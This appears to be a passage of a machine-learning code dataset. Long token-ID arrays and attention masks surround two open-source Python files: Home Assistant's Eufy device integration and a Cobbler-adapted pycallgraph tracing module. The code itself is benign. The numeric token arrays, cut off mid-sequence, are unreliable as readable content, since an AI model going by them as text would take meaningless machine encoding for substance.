754,
435,
2475,
9118,
13,
3028,
14,
1360,
7,
267,
7268,
63,
3028,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
904,
8,
3028,
694,
12,
7268,
63,
3028,
63,
354,
430,
267,
289,
275,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Cinntax/home-assistant
|
homeassistant/components/eufy/__init__.py
|
2
|
2175
|
"""Support for Eufy devices."""
import logging
import voluptuous as vol
from homeassistant.const import (
CONF_ACCESS_TOKEN,
CONF_ADDRESS,
CONF_DEVICES,
CONF_NAME,
CONF_PASSWORD,
CONF_TYPE,
CONF_USERNAME,
)
from homeassistant.helpers import discovery
import homeassistant.helpers.config_validation as cv
_LOGGER = logging.getLogger(__name__)
DOMAIN = "eufy"
DEVICE_SCHEMA = vol.Schema(
{
vol.Required(CONF_ADDRESS): cv.string,
vol.Required(CONF_ACCESS_TOKEN): cv.string,
vol.Required(CONF_TYPE): cv.string,
vol.Optional(CONF_NAME): cv.string,
}
)
CONFIG_SCHEMA = vol.Schema(
{
DOMAIN: vol.Schema(
{
vol.Optional(CONF_DEVICES, default=[]): vol.All(
cv.ensure_list, [DEVICE_SCHEMA]
),
vol.Inclusive(CONF_USERNAME, "authentication"): cv.string,
vol.Inclusive(CONF_PASSWORD, "authentication"): cv.string,
}
)
},
extra=vol.ALLOW_EXTRA,
)
EUFY_DISPATCH = {
"T1011": "light",
"T1012": "light",
"T1013": "light",
"T1201": "switch",
"T1202": "switch",
"T1203": "switch",
"T1211": "switch",
}
def setup(hass, config):
"""Set up Eufy devices."""
import lakeside
if CONF_USERNAME in config[DOMAIN] and CONF_PASSWORD in config[DOMAIN]:
data = lakeside.get_devices(
config[DOMAIN][CONF_USERNAME], config[DOMAIN][CONF_PASSWORD]
)
for device in data:
kind = device["type"]
if kind not in EUFY_DISPATCH:
continue
discovery.load_platform(hass, EUFY_DISPATCH[kind], DOMAIN, device, config)
for device_info in config[DOMAIN][CONF_DEVICES]:
kind = device_info["type"]
if kind not in EUFY_DISPATCH:
continue
device = {}
device["address"] = device_info["address"]
device["code"] = device_info["access_token"]
device["type"] = device_info["type"]
device["name"] = device_info["name"]
discovery.load_platform(hass, EUFY_DISPATCH[kind], DOMAIN, device, config)
return True
|
apache-2.0
|
[
624,
11532,
367,
662,
1286,
89,
7256,
1041,
199,
646,
2050,
199,
199,
646,
30291,
465,
5236,
199,
199,
504,
8846,
14,
1297,
492,
334,
272,
6392,
63,
11074,
63,
8803,
12,
272,
6392,
63,
12368,
12,
272,
6392,
63,
1093,
8670,
12,
272,
6392,
63,
2339,
12,
272,
6392,
63,
9032,
12,
272,
6392,
63,
2711,
12,
272,
6392,
63,
11958,
12,
199,
9,
199,
504,
8846,
14,
7546,
492,
13172,
199,
646,
8846,
14,
7546,
14,
888,
63,
6136,
465,
6277,
199,
199,
63,
10186,
275,
2050,
14,
5572,
3460,
354,
3368,
199,
199,
7378,
275,
298,
69,
1286,
89,
2,
199,
199,
10555,
63,
10926,
275,
5236,
14,
6700,
8,
272,
469,
267,
5236,
14,
8030,
8,
3103,
63,
12368,
304,
6277,
14,
875,
12,
267,
5236,
14,
8030,
8,
3103,
63,
11074,
63,
8803,
304,
6277,
14,
875,
12,
267,
5236,
14,
8030,
8,
3103,
63,
2711,
304,
6277,
14,
875,
12,
267,
5236,
14,
7012,
8,
3103,
63,
2339,
304,
6277,
14,
875,
12,
272,
789,
199,
9,
199,
199,
5569,
63,
10926,
275,
5236,
14,
6700,
8,
272,
469,
267,
15265,
26,
5236,
14,
6700,
8,
288,
469,
355,
5236,
14,
7012,
8,
3103,
63,
1093,
8670,
12,
849,
17894,
5236,
14,
2422,
8,
490,
6277,
14,
7505,
63,
513,
12,
359,
10555,
63,
10926,
61,
355,
2318,
355,
5236,
14,
607,
6563,
8,
3103,
63,
11958,
12,
298,
11725,
2349,
6277,
14,
875,
12,
355,
5236,
14,
607,
6563,
8,
3103,
63,
9032,
12,
298,
11725,
2349,
6277,
14,
875,
12,
288,
789,
267,
776,
272,
1660,
272,
2402,
29,
5650,
14,
12231,
63,
18555,
12,
199,
9,
199,
199,
23539,
18114,
63,
32550,
275,
469,
272,
298,
52,
4893,
17,
582,
298,
4040,
401,
272,
298,
52,
4893,
18,
582,
298,
4040,
401,
272,
298,
52,
4893,
19,
582,
298,
4040,
401,
272,
298,
52,
713,
614,
582,
298,
5656,
401,
272,
298,
52,
713,
996,
582,
298,
5656,
401,
272,
298,
52,
713,
1644,
582,
298,
5656,
401,
272,
298,
52,
713,
845,
582,
298,
5656,
401,
199,
93,
421,
199,
318,
3272,
8,
5387,
12,
1101,
304,
272,
408,
1084,
1536,
662,
1286,
89,
7256,
1041,
272,
492,
1127,
415,
2441,
339,
340,
6392,
63,
11958,
315,
1101,
59,
7378,
61,
436,
6392,
63,
9032,
315,
1101,
59,
7378,
2189,
267,
666,
275,
1127,
415,
2441,
14,
362,
63,
6410,
8,
288,
1101,
59,
7378,
1527,
3103,
63,
11958,
467,
1101,
59,
7378,
1527,
3103,
63,
9032,
61,
267,
776,
267,
367,
2243,
315,
666,
26,
288,
4928,
275,
2243,
905,
466,
937,
288,
340,
4928,
440,
315,
26007,
18114,
63,
32550,
26,
355,
1980,
288,
13172,
14,
912,
63,
3246,
8,
5387,
12,
26007,
18114,
63,
32550,
59,
5091,
467,
15265,
12,
2243,
12,
1101,
9,
339,
367,
2243,
63,
815,
315,
1101,
59,
7378,
1527,
3103,
63,
1093,
8670,
2189,
267,
4928,
275,
2243,
63,
815,
905,
466,
937,
267,
340,
4928,
440,
315,
26007,
18114,
63,
32550,
26,
288,
1980,
267,
2243,
275,
1052,
267,
2243,
905,
1562,
937,
275,
2243,
63,
815,
905,
1562,
937,
267,
2243,
905,
600,
937,
275,
2243,
63,
815,
905,
2732,
63,
1418,
937,
267,
2243,
905,
466,
937,
275,
2243,
63,
815,
905,
466,
937,
267,
2243,
905,
354,
937,
275,
2243,
63,
815,
905,
354,
937,
267,
13172,
14,
912,
63,
3246,
8,
5387,
12,
26007,
18114,
63,
32550,
59,
5091,
467,
15265,
12,
2243,
12,
1101,
9,
339,
372,
715,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
11532,
367,
662,
1286,
89,
7256,
1041,
199,
646,
2050,
199,
199,
646,
30291,
465,
5236,
199,
199,
504,
8846,
14,
1297,
492,
334,
272,
6392,
63,
11074,
63,
8803,
12,
272,
6392,
63,
12368,
12,
272,
6392,
63,
1093,
8670,
12,
272,
6392,
63,
2339,
12,
272,
6392,
63,
9032,
12,
272,
6392,
63,
2711,
12,
272,
6392,
63,
11958,
12,
199,
9,
199,
504,
8846,
14,
7546,
492,
13172,
199,
646,
8846,
14,
7546,
14,
888,
63,
6136,
465,
6277,
199,
199,
63,
10186,
275,
2050,
14,
5572,
3460,
354,
3368,
199,
199,
7378,
275,
298,
69,
1286,
89,
2,
199,
199,
10555,
63,
10926,
275,
5236,
14,
6700,
8,
272,
469,
267,
5236,
14,
8030,
8,
3103,
63,
12368,
304,
6277,
14,
875,
12,
267,
5236,
14,
8030,
8,
3103,
63,
11074,
63,
8803,
304,
6277,
14,
875,
12,
267,
5236,
14,
8030,
8,
3103,
63,
2711,
304,
6277,
14,
875,
12,
267,
5236,
14,
7012,
8,
3103,
63,
2339,
304,
6277,
14,
875,
12,
272,
789,
199,
9,
199,
199,
5569,
63,
10926,
275,
5236,
14,
6700,
8,
272,
469,
267,
15265,
26,
5236,
14,
6700,
8,
288,
469,
355,
5236,
14,
7012,
8,
3103,
63,
1093,
8670,
12,
849,
17894,
5236,
14,
2422,
8,
490,
6277,
14,
7505,
63,
513,
12,
359,
10555,
63,
10926,
61,
355,
2318,
355,
5236,
14,
607,
6563,
8,
3103,
63,
11958,
12,
298,
11725,
2349,
6277,
14,
875,
12,
355,
5236,
14,
607,
6563,
8,
3103,
63,
9032,
12,
298,
11725,
2349,
6277,
14,
875,
12,
288,
789,
267,
776,
272,
1660,
272,
2402,
29,
5650,
14,
12231,
63,
18555,
12,
199,
9,
199,
199,
23539,
18114,
63,
32550,
275,
469,
272,
298,
52,
4893,
17,
582,
298,
4040,
401,
272,
298,
52,
4893,
18,
582,
298,
4040,
401,
272,
298,
52,
4893,
19,
582,
298,
4040,
401,
272,
298,
52,
713,
614,
582,
298,
5656,
401,
272,
298,
52,
713,
996,
582,
298,
5656,
401,
272,
298,
52,
713,
1644,
582,
298,
5656,
401,
272,
298,
52,
713,
845,
582,
298,
5656,
401,
199,
93,
421,
199,
318,
3272,
8,
5387,
12,
1101,
304,
272,
408,
1084,
1536,
662,
1286,
89,
7256,
1041,
272,
492,
1127,
415,
2441,
339,
340,
6392,
63,
11958,
315,
1101,
59,
7378,
61,
436,
6392,
63,
9032,
315,
1101,
59,
7378,
2189,
267,
666,
275,
1127,
415,
2441,
14,
362,
63,
6410,
8,
288,
1101,
59,
7378,
1527,
3103,
63,
11958,
467,
1101,
59,
7378,
1527,
3103,
63,
9032,
61,
267,
776,
267,
367,
2243,
315,
666,
26,
288,
4928,
275,
2243,
905,
466,
937,
288,
340,
4928,
440,
315,
26007,
18114,
63,
32550,
26,
355,
1980,
288,
13172,
14,
912,
63,
3246,
8,
5387,
12,
26007,
18114,
63,
32550,
59,
5091,
467,
15265,
12,
2243,
12,
1101,
9,
339,
367,
2243,
63,
815,
315,
1101,
59,
7378,
1527,
3103,
63,
1093,
8670,
2189,
267,
4928,
275,
2243,
63,
815,
905,
466,
937,
267,
340,
4928,
440,
315,
26007,
18114,
63,
32550,
26,
288,
1980,
267,
2243,
275,
1052,
267,
2243,
905,
1562,
937,
275,
2243,
63,
815,
905,
1562,
937,
267,
2243,
905,
600,
937,
275,
2243,
63,
815,
905,
2732,
63,
1418,
937,
267,
2243,
905,
466,
937,
275,
2243,
63,
815,
905,
466,
937,
267,
2243,
905,
354,
937,
275,
2243,
63,
815,
905,
354,
937,
267,
13172,
14,
912,
63,
3246,
8,
5387,
12,
26007,
18114,
63,
32550,
59,
5091,
467,
15265,
12,
2243,
12,
1101,
9,
339,
372,
715,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
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pycallgraph_mod.py
|
21
|
7104
|
#!/usr/bin/env python
"""
pycallgraph
http://pycallgraph.slowchop.com/
Copyright Gerald Kaszuba 2007
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
# slight modifications for Cobbler testing
# Michael DeHaan <mdehaan@redhat.com>, 2007
"""
import inspect
import sys
import os
import tempfile
# statistical data
def reset_trace():
global call_dict
call_dict = {}
global call_stack
call_stack = ['__main__']
global func_count
func_count = {}
global func_count_max
func_count_max = 0
reset_trace()
# graphviz settings
graph_attributes = {
'graph': {
},
'node': {
'color': '.5 0 .9',
'style': 'filled',
'shape': 'rect',
'fontname': 'Helvetica',
'fontsize': 10,
},
}
# settings for building dot files
settings = {
'node_attributes': {
'label': r'%(func)s\ncalls: %(hits)i',
'color': '%(col)s',
},
'node_color': lambda calls, : '%f %f %f' % (calls / 2 + .5, calls, 0.9),
'edge_color': lambda calls, : '%f %f %f' % (calls / 2 + .5, calls, 0.7),
'exclude_module': [
'yaml', 'yaml.load', 'yaml.stream', 'sre', 'unittest',
'sys', 'os', 'subprocess', 'string', 'time', 'test', 'posixpath', 'random',
'shutil', 'pycallgraph', 'stat', 'tempfile', 'socket', 'glob', 'sub_process',
'errno', 'weakref', 'traceback'
],
'exclude_class': [],
'exclude_func': [],
'exclude_specific': ['stop_trace', 'make_graph'],
'include_module': [],
'include_class': [],
'include_func': [],
'include_specific': [],
'dont_exclude_anything': False,
}
class PyCallGraphException(Exception):
pass
def start_trace(reset=True):
if reset:
reset_trace()
sys.settrace(tracer)
def stop_trace():
sys.settrace(None)
def tracer(frame, event, arg):
global func_count_max
if event == 'call':
dont_keep = False
code = frame.f_code
# work out the module
module = inspect.getmodule(code)
if module:
module_name = module.__name__
if module_name == '__main__':
module_name = ''
else:
if settings['include_module']:
if module_name not in settings['include_module']:
dont_keep = True
else:
# if module_name in settings['exclude_module']:
# dont_keep = True
for x in settings['exclude_module']:
if module_name.startswith(x):
dont_keep = True
module_name += '.'
else:
module_name = 'unknown.'
dont_keep = True
# work out the instance, if we're in a class
try:
class_name = frame.f_locals['self'].__class__.__name__
if settings['include_class']:
if class_name not in settings['include_class']:
dont_keep = True
else:
if class_name in settings['exclude_class']:
dont_keep = True
class_name += '.'
except (KeyError, AttributeError):
class_name = ''
# work out the current function or method
func_name = code.co_name
if func_name == '?':
func_name = '__main__'
else:
if settings['include_func']:
if func_name not in settings['include_func']:
dont_keep = True
else:
if func_name in settings['exclude_func']:
dont_keep = True
# join em together in a readable form
full_name = '%s%s%s' % (module_name, class_name, func_name)
if full_name in settings['exclude_specific']:
dont_keep = True
# throw it all in dictonaires
fr = call_stack[-1]
if not dont_keep or settings['dont_exclude_anything']:
if fr not in call_dict:
call_dict[fr] = {}
if full_name not in call_dict[fr]:
call_dict[fr][full_name] = 0
call_dict[fr][full_name] += 1
if full_name not in func_count:
func_count[full_name] = 0
func_count[full_name] += 1
if func_count[full_name] > func_count_max:
func_count_max = func_count[full_name]
call_stack.append(full_name)
else:
call_stack.append('')
if event == 'return':
if call_stack:
call_stack.pop(-1)
def get_dot(stop=True):
if stop:
stop_trace()
ret = ['digraph G {',]
for comp, comp_attr in graph_attributes.items():
ret.append('%s [' % comp)
for attr, val in comp_attr.items():
ret.append('%(attr)s = "%(val)s",' % locals())
ret.append('];')
for func, hits in func_count.items():
frac = float(hits) / func_count_max
col = settings['node_color'](frac)
attribs = ['%s="%s"' % a for a in settings['node_attributes'].items()]
node_str = '"%s" [%s];' % (func, ','.join(attribs))
ret.append(node_str % locals())
for fr_key, fr_val in call_dict.items():
if fr_key == '':
continue
for to_key, to_val in fr_val.items():
frac = float(to_val) / func_count_max
col = settings['edge_color'](frac)
edge = '[ color = "%s" ]' % col
ret.append('"%s"->"%s" %s' % (fr_key, to_key, edge))
ret.append('}')
return '\n'.join(ret)
def save_dot(filename):
open(filename, 'w').write(get_dot())
def make_graph(filename, format='png', tool='dot', stop=True):
if stop:
stop_trace()
fd, tempname = tempfile.mkstemp()
f = os.fdopen(fd, 'w')
f.write(get_dot())
f.close()
cmd = '%(tool)s -T%(format)s -o%(filename)s %(tempname)s' % locals()
ret = os.system(cmd)
os.unlink(tempname)
if ret:
raise PyCallGraphException('The command "%(cmd)s" failed with error' \
'code %(ret)i.' % locals())
if __name__ == '__main__':
f = 'test.png'
print 'Starting trace'
start_trace()
import re
re.compile('h(e)l[A-Z]lo.*th[^e]*e(r)e')
print 'Generating graph'
stop_trace()
make_graph(f)
print '%s should be in this directiory. Hit enter to quit.' % f
raw_input()
__version__ = "$Revision: $"
# vim:set shiftwidth=4 tabstop=4 expandtab textwidth=79:
|
gpl-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
624,
199,
647,
1250,
2180,
199,
1014,
921,
647,
1250,
2180,
14,
14362,
335,
411,
14,
957,
15,
199,
7384,
22261,
27075,
1804,
305,
90,
9405,
10219,
199,
199,
2765,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
390,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
1589,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
8,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
2765,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
7911,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
31461,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
17732,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
199,
5556,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
21632,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
30216,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
221,
11315,
13,
10067,
221,
8217,
199,
199,
3,
16726,
23070,
367,
1849,
26722,
5343,
199,
3,
16922,
22453,
665,
77,
24247,
32,
17164,
14,
957,
6244,
10219,
199,
624,
199,
199,
646,
6485,
199,
646,
984,
199,
646,
747,
199,
646,
5549,
199,
199,
3,
8753,
270,
2652,
666,
199,
318,
5305,
63,
3446,
837,
272,
2288,
1240,
63,
807,
272,
1240,
63,
807,
275,
1052,
272,
2288,
1240,
63,
2340,
272,
1240,
63,
2340,
275,
14050,
973,
17501,
272,
2288,
2562,
63,
835,
272,
2562,
63,
835,
275,
1052,
272,
2288,
2562,
63,
835,
63,
988,
272,
2562,
63,
835,
63,
988,
275,
378,
199,
199,
3958,
63,
3446,
342,
199,
199,
3,
3343,
17249,
2202,
199,
2180,
63,
2987,
275,
469,
272,
283,
2180,
356,
469,
272,
1660,
272,
283,
932,
356,
469,
267,
283,
2326,
356,
1987,
21,
378,
1275,
25,
297,
267,
283,
2487,
356,
283,
17647,
297,
267,
283,
1392,
356,
283,
1201,
297,
267,
283,
4246,
354,
356,
283,
40,
25911,
297,
267,
283,
22124,
356,
1616,
12,
272,
1660,
199,
93,
199,
199,
3,
2202,
367,
10015,
6308,
1584,
199,
1751,
275,
469,
2043,
283,
932,
63,
2987,
356,
469,
2126,
283,
1302,
356,
519,
13328,
1532,
9,
83,
60,
78,
5352,
26,
2818,
16595,
9,
73,
297,
2126,
283,
2326,
356,
9487,
761,
9,
83,
297,
272,
1660,
272,
283,
932,
63,
2326,
356,
2400,
4882,
12,
520,
1543,
70,
450,
70,
450,
70,
7,
450,
334,
5352,
1182,
499,
435,
1275,
21,
12,
4882,
12,
378,
14,
25,
395,
272,
283,
5173,
63,
2326,
356,
2400,
4882,
12,
520,
1543,
70,
450,
70,
450,
70,
7,
450,
334,
5352,
1182,
499,
435,
1275,
21,
12,
4882,
12,
378,
14,
23,
395,
272,
283,
5473,
63,
578,
356,
359,
4960,
283,
5963,
297,
283,
5963,
14,
912,
297,
283,
5963,
14,
1745,
297,
283,
31026,
297,
283,
2796,
297,
267,
283,
1274,
297,
283,
736,
297,
283,
5781,
297,
283,
875,
297,
283,
521,
297,
283,
396,
297,
283,
23342,
297,
283,
2355,
297,
267,
283,
20938,
297,
283,
647,
1250,
2180,
297,
283,
3736,
297,
283,
17336,
297,
283,
3450,
297,
283,
6463,
297,
283,
954,
63,
1412,
297,
4960,
283,
7931,
297,
283,
21330,
297,
283,
6894,
7,
5591,
2156,
272,
283,
5473,
63,
533,
356,
990,
272,
283,
5473,
63,
1532,
356,
990,
272,
283,
5473,
63,
6100,
356,
788,
2379,
63,
3446,
297,
283,
1875,
63,
2180,
995,
272,
283,
2613,
63,
578,
356,
990,
272,
283,
2613,
63,
533,
356,
990,
272,
283,
2613,
63,
1532,
356,
990,
272,
283,
2613,
63,
6100,
356,
990,
272,
283,
18671,
63,
5473,
63,
25058,
356,
756,
12,
199,
93,
199,
199,
533,
1611,
2176,
4578,
1726,
8,
1726,
304,
272,
986,
199,
199,
318,
1343,
63,
3446,
8,
3958,
29,
549,
304,
272,
340,
5305,
26,
267,
5305,
63,
3446,
342,
272,
984,
14,
28434,
8,
16825,
9,
199,
199,
318,
3631,
63,
3446,
837,
272,
984,
14,
28434,
8,
403,
9,
199,
199,
318,
29140,
8,
1943,
12,
1566,
12,
1680,
304,
272,
2288,
2562,
63,
835,
63,
988,
339,
340,
1566,
508,
283,
1250,
356,
267,
21542,
63,
3250,
275,
756,
267,
1233,
275,
2787,
14,
70,
63,
600,
272,
267,
327,
1736,
734,
314,
859,
267,
859,
275,
6485,
14,
362,
578,
8,
600,
9,
267,
340,
859,
26,
288,
859,
63,
354,
275,
859,
855,
354,
363,
7205,
340,
859,
63,
354,
508,
2560,
973,
3706,
355,
859,
63,
354,
275,
2125,
288,
587,
26,
355,
340,
2202,
459,
2613,
63,
578,
2565,
490,
340,
859,
63,
354,
440,
315,
2202,
459,
2613,
63,
578,
2565,
717,
21542,
63,
3250,
275,
715,
355,
587,
26,
490,
327,
340,
859,
63,
354,
315,
2202,
459,
5473,
63,
578,
2565,
490,
327,
259,
21542,
63,
3250,
275,
715,
490,
367,
671,
315,
2202,
459,
5473,
63,
578,
2565,
717,
340,
859,
63,
354,
14,
2460,
8,
88,
304,
1169,
21542,
63,
3250,
